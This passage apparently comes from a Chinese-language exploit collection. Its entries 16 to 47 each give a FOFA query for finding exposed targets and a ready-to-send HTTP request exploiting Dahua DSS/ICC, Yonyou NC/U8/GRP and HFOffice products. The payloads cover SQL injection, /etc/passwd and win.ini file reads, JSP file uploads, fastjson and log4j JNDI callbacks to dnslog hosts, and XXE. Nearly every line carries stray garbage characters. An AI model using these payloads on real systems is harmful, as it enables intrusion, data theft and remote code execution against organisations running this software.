: {# v3 f6 R2 esec-ch-ua-platform: Windows
4 Z- F+ Y" Y+ W9 ^2 M- rAccept-Encoding: gzip
8 |. S" i( f1 g* i5 h9 f8 e# u- P

16.  红帆HFOffice医微云SQL注入
* R  L: o# a- T3 C8 \1 DFOFA：title="HFOffice"
poc中调用函数计算1234的md5值
- |4 B. Q5 B  p" y9 }GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
) Y* M& w2 N2 ^7 C* ?1 ZHost: x.x.x.x
  K  C8 I# D1 XUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
/ D. `9 A* N: S/ s: e3 MAccept-Language: en
Accept-Encoding: gzip
1 }, p4 {6 o* w/ S9 h  e
0 k9 f5 |. J4 f1 q  i  z& K
17. 大华 DSS itcBulletin SQL 注入
" Q. ?3 j7 d, N7 R  S* ]7 d- bFOFA：app="dahua-DSS"
1 a9 x1 T1 w* Z3 J8 F8 T/ LPOST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
2 m9 U5 n( E0 TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: j' ]5 V9 W9 H* ^Connection: close
: |# ]: X5 C1 |: g- r' h, I, BContent-Length: 345
) P; L) @4 B5 t& k, CAccept-Encoding: gzip
+ H: m5 Q+ a4 R
8 q$ c5 K' b+ K( w  O<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
0 }+ C# Z9 {) o: m0 i5 ~<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
, \, I6 k* u. A# ~# a       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
$ X) _/ T* A2 H, n' c    </ns1:deleteBulletin>
# @$ b: N0 a; B/ T, C$ Q$ J  </s11:Body>
* Y, P$ {9 O+ n0 u" i</s11:Envelope>


18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
6 g: y$ {  U4 W# F) ~* N9 WFOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
) Q) M- m' V" I& q9 H" K& m5 z6 pHost: your-ip
$ t  C. z- v/ j4 k" R# zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
% m+ X& o% x& c9 i) W7 AAccept: */*
- Z' P7 \% ]) F, NConnection: keep-alive
, X0 J' C3 X, @  c; T8 O  ^: q
, b  @# }2 ?8 V: D/ d

19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
8 x$ a  S( z1 B- F$ MHost:
) x% h6 |) {2 K3 r  eUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
. v5 ^  k+ x) p7 bConnection: keep-alive
4 t# w7 X$ z$ M; ?# l

  r$ l2 O- {5 ~20. 大华ICC智能物联综合管理平台任意文件读取
- z4 v% H. }5 B) f5 CFOFA：body="*客户端会小于800*"
& b4 h: X9 b3 s7 {2 b: p' T# \" G  jGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
2 H/ f+ m$ ~0 m( L# E# iHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
7 h+ o$ i: N* N* q' R. K, `7 vConnection: close
. ]' q3 {# g' H' L4 MAccept: */*
" T& N4 v; h: XAccept-Language: en
* \. V$ T# ]+ |" C& P9 V8 V  e4 N: xAccept-Encoding: gzip


6 L  S- [' K6 k! Z/ j  F2 I' c! |21. 大华ICC智能物联综合管理平台random远程代码执行
; z2 Z1 F% x9 q: ?FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
9 i; z( ~1 ]% w; ~) N+ AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: h' ^, p) M: I( kContent-Length: 161
Accept-Encoding: gzip
Connection: close
, E# `: X  Z! r6 J5 E  TContent-Type: application/json;charset=utf-8

, R5 O8 \! e$ P0 Y{
"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  L( g0 a' _- P" e2 Y) B! L' |  }""
  `# z# T) C6 i3 }6 L* y}
+ e/ s% [) ^8 R1 Z; f4 d8 ^
8 i1 ]0 z+ _# B) a/ p
# n5 e0 D$ \1 h* L4 R) o) Z0 B22. 大华ICC智能物联综合管理平台 log4j远程代码执行
( K6 u6 J# [* K+ BFOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
5 X8 x+ i  _8 O1 fHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
2 Y1 M: c5 o3 n& _7 u1 Q. VContent-Type: application/json;charset=utf-8
& o  H0 |# N: ]1 N
/ v9 B6 ~$ g) T7 P' W1 s* D" ~( o. g{
"loginName":"${jndi:ldap://dnslog}"
}
& k3 e: ^; y2 x2 b2 q3 ?  R# m
2 k  d; @2 x: v, S+ ~; d. g5 C

% R5 C- H# @' }" Z! ]' p* `23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
. }4 i0 J+ J1 v5 O$ t* wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
% r+ }2 A) g( H. g+ @( L) ~Content-Type: application/json;charset=utf-8
/ k) {3 }- u  ^- G2 _Accept-Encoding: gzip
( U  [. E' z4 FConnection: close

{
/ l% q5 V5 |' }) Z- F" C0 a  s    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
}


  q. N) z$ s9 E) v' i! [24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
' ]' z- _& A7 C2 y0 w* ~3 jHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
Accept: */*
Accept-Encoding: gzip
* F+ W9 q- h; T% wContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

5 g; J9 W1 P( w1 Q9 d& S6 G; i4 o-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
! K5 R! T  G" ]1 t, W, a4 r9 G
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
! u; w9 e6 `' M7 y# KContent-Disposition: form-data; name="fname"
; e8 ?* r) x, J7 |. n
\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
+ K3 W0 s8 D7 w4 _1 E( _5 ]

25. 用友NC registerServlet JNDI 远程代码执行
' h5 i- E- ^6 o. v5 f  V. MFOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
& C& X7 \/ ~/ N, S: m! y% n% RHost: your-ip
- T3 J; ~3 K& N1 [. ~; `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
' |1 M/ r6 Q. C8 P) V! H! D6 zAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded
) `" s9 n8 K( o( G+ n, l, J1 F8 N% s
6 T. G* u9 U% u0 Ctype=1&dsname=ldap://dnslog

& J# J) w7 A- A
2 G9 y4 o3 S) C" j) j. e7 _; x
26. 用友NC linkVoucher SQL注入
. i2 k/ d0 X' T- A# KFOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  W! G0 z/ f9 P$ n, W+ J4 a, D8 SContent-Type: application/x-www-form-urlencoded
2 e7 }5 `  U9 vAccept-Encoding: gzip, deflate
4 t% G. j( O- S, B+ d/ sAccept: */*
Connection: keep-alive


, D) l" J, M, e6 n* x27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
9 V/ A. c4 f! z5 w: ]1 GGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
0 s, D/ |  O& v8 jConnection: close
Content-Type: text/xml; charset=utf-8
9 h3 B9 n* U' [# `. ^- H% w- V

; [( d" h+ W# V- M28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
+ @' J/ J( ]7 v/ ]1 D& e$ ]POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
1 C; V4 }2 Y$ m9 d5 R' qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

% D) j: @' {- A! X------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
* @8 w& F. X% ?* n8 X7 Q, z
) f. G& [' v, x: u<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
! k! Z2 o& h9 f+ ~& s5 t& n
/ q2 {% }3 i9 W3 u0 A
/uapim/static/pages/nc/head.jsp
* s9 R' q8 b7 {' x& n0 v) j0 n
29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
% s5 f1 R6 \& |, d/ ]Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 b, f7 h: i% D: \Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
7 ?1 J  g# j# J2 j

! `+ O- E; W* }& N/ {  W30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
# u. {' u6 h& V' f* t8 DHost: your-ip
3 W4 p# n6 K- A% h* F; YContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
5 n& R  @) G) O' u+ gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
! ?, @, a# v& J4 PConnection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
, h7 X4 V- d9 N, B$ t; Y5 KContent-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--


31. 用友NC runStateServlet SQL注入
+ n+ N: i3 j9 H+ ~5 z) ?* dversion<=6.5
3 @6 O1 A/ T( I9 s+ lFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
% ]0 A! Z4 f# r7 l0 \3 g4 L3 QGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
2 M+ |2 e* }  n" tHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
0 G# @# j: Z" V/ @$ @

8 H6 J; _' z* X: F- z) S32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
. m0 S! @+ x# _( J* ^# ^3 vFOFA：app="用友-UFIDA-NC"
9 S1 C3 F. S% dGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
, ^5 z' A. i) F5 \. EHost: your-ip
* [* Z3 M5 L' z. k1 C9 s+ oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


& G) j: Q1 g; _/ H' Y/ w+ j6 s( n/ t33. 用友NC downTax/download SQL注入
% k/ x' L1 `  x/ y8 _% l0 ]version：NC6.5FOFA：app="用友-UFIDA-NC"
* ~6 P: X7 D1 T1 R% BGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
' `( T, u0 v8 T$ [Host: your-ip
  p' [# o6 v1 \" h( f8 vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
6 _1 b5 R  d* N& ]9 ZAccept-Encoding: gzip, deflate
" k% `3 c' l! i, g. r$ [Accept: */*
# t: i! \" w3 m& v4 k4 rConnection: keep-alive

0 k8 S$ t  R! ]
5 S, G; L) M5 E8 t- [* I" t; V8 }34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
& C" c4 @( T# \4 c3 z- W) r, }GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
0 t1 f, M% W: A" [7 i4 t. x7 [. e( mHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
: o$ J8 f" F/ W' c  x6 EAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

! I% e# ^3 _4 x! c7 Y
35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
( |5 [$ B+ ?9 C2 {POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
9 n) W  Q" f- q9 dHost: 203.25.218.166:8888
# x  H/ C. v* J: z4 l% ^User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
2 X! @  c; d& d& X, j; J! ^- tAccept-Encoding: gzip, deflate
Accept: */*
- r2 g1 ?  F8 w. YConnection: close
7 X! Y, v5 F$ e6 iaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
: B5 [6 x- @5 j8 ~2 t% Y4 gContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

  G" q- z/ M5 X5 b( S--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
# b% L% E3 U! U* _# t8 r
* ~, l) J- T8 S, _3 d2 W<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--


36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
# z  N4 a/ w) R! _) N# ]POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
) d. N7 q% _. A8 ~; p# D$ K9 s3 jContent-Length: 263
; u; l4 i% ~: N  `" E9 O9 M% PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
5 r3 C  F) x3 ]& cContent-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a

, h2 F$ G) i# F4 }; _$ f! M
: d8 F* F; l3 r37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
* ~: G9 x  `; Z9 G7 u0 aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
9 B0 n2 e: R6 \8 }/ f$ n1 IAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
9 R* N4 {) n% h4 w/ ^Content-Type: text/xml;charset=UTF-8
* W, S" ^  d; D" j7 R( n% E3 sSOAPAction: urn:getResult
, Z5 L1 J, R# i: Y, m& [Upgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
! c2 S6 ^( U* O4 D* W0 Q<soapenv:Header/>
' f* U/ [  ~: f; J0 f<soapenv:Body>
  @, K3 h* R/ r7 W<iup:getResult>
<!--type: string-->
1 K/ g% c! x- o$ S: x* x7 c<iup:string><![CDATA[
8 q( h/ ^5 N3 L2 l, b" ^% R3 N<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
6 n5 o: r- O. N7 }; x<xxx/>]]></iup:string>
% X& |/ u- A/ R" [& u) F</iup:getResult>
</soapenv:Body>
2 l  q: G  `+ n; }; `/ ]</soapenv:Envelope>
' {& w" x. X& h& ]
" q8 |+ U, L7 F# x
4 |" f0 Y9 f5 V: d* E& `
38. 用友U8 Cloud smartweb2.RPC.d XXE
' B" h6 `# j. H8 ]FOFA：app="用友-U8-Cloud"
# r4 j- r% g3 }3 u+ |! ]POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
" r$ Q6 S, ?0 a( K$ O* A+ R- U0 [Host: 192.168.40.131:8088
- N  f1 x5 {4 m; ^+ X3 ]1 ]* @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
1 E1 _9 t9 j, {& r+ ^8 `5 x+ [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
$ ]+ D  _9 w; L" |& ]Accept-Encoding: gzip, deflate
  ?9 Z8 r" @+ b0 CAccept-Language: zh-CN,zh;q=0.9
! R* }0 v9 a1 s7 K: \* tConnection: close
Content-Type: application/x-www-form-urlencoded
  z8 T5 p; G* q& C- Q0 j2 M
4 C- o' }! ?* O' N& m: C0 {$ p__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>


39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
5 w( Q" x) u- ?( o0 P- }" |POST /servlet/RegisterServlet HTTP/1.1
- f) }. [. n- B( w- yHost: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
4 u+ e- K7 k6 o! J$ }Content-Length: 85
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
( g$ F' G" H3 J" Y& f: ]4 hAccept-Encoding: gzip

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--

4 m6 E+ j6 V! C% ?6 e& D+ g
3 Q3 M$ j$ X% X* v40. 用友U8-Cloud XChangeServlet XXE
+ n) U; K; f0 G1 T$ B- m. |FOFA：app="用友-U8-Cloud"
8 I4 x0 b+ }# mPOST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
7 M4 t9 w6 I# ~) Z3 z) X) {Connection: close
% p# L1 K& a/ n/ [- M
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
+ \1 l$ K+ D: ]9 `
+ w, z2 P; E; j) J- }, C- `6 x) |2 ]
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
+ e# a6 g- V" w* q; R3 Q9 g1 |# TGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 G5 j5 Q- \+ M- }' O, T7 I* G( ^Content-Type: application/json
' U: Y- k8 b. x( ^Accept-Encoding: gzip
Connection: close


42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
8 N* z0 I0 G1 i  oHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
/ w6 i! U+ ~  m8 t* bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD


, ]  l4 B0 l- L; B1 k/ I% [" Lhttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
2 \9 |0 e4 U) b- L& O: U1 `8 T" O
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
3 ]$ `& u1 @8 l! B% ^, ~POST /services/userInfoWeb HTTP/1.1
3 c& G$ g" s7 G- x$ t5 n, {Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
$ _  Q! q1 x# X7 ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) {2 U$ g/ i3 e* y. pAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
" B9 G. _, h$ u5 N, lConnection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8
  [  b& z, h( U& O) r3 g! A' o8 F
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
6 [. r& r. A4 N: `( e   <soapenv:Body>
+ b4 h8 W" s/ g4 X( l3 S      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
/ K' q9 C$ K; l5 ]* v      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>
" w: B: O  _4 d) K, b

" S/ c: |9 N3 A5 q. f2 s# r8 K4 O$ v44. 用友GRP-U8 bx_dj_check.jsp SQL注入
9 p( G1 a, ^  K0 CFOFA:app="用友-GRP-U8"
7 ]5 R$ ?4 Z; B' _2 D6 `6 d6 hGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
8 W+ O$ ^' }, V8 S5 ]  B: iHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
/ ?- r5 X# f6 |; r# m: O) M5 m. dConnection: close


45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
2 }9 s: [+ Z. A) W; Y) lPOST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
4 J0 x, I& _. u, JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Content-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
7 h% t/ ?9 L9 L
reqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest


46. 用友GRP-U8 sqcxIndex.jsp SQL注入
9 e4 F& K4 M' l& @' V4 `/ i" HFOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
2 t2 r  \" b" b! g( L8 ]# `Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
) f; w& B8 _! ]0 _* e) C/ v  yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ V" L. Y1 S/ x7 G, vAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
7 ]; {  x( B7 h+ M: `# H5 @
9 ~5 o5 h5 ?5 W: x& W
47. 用友GRP A++Cloud 政府财务云 任意文件读取
2 K+ N7 c) P% w, FFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
; G, O( d/ T5 }$ q9 d/ s4 WHost: x.x.x.x
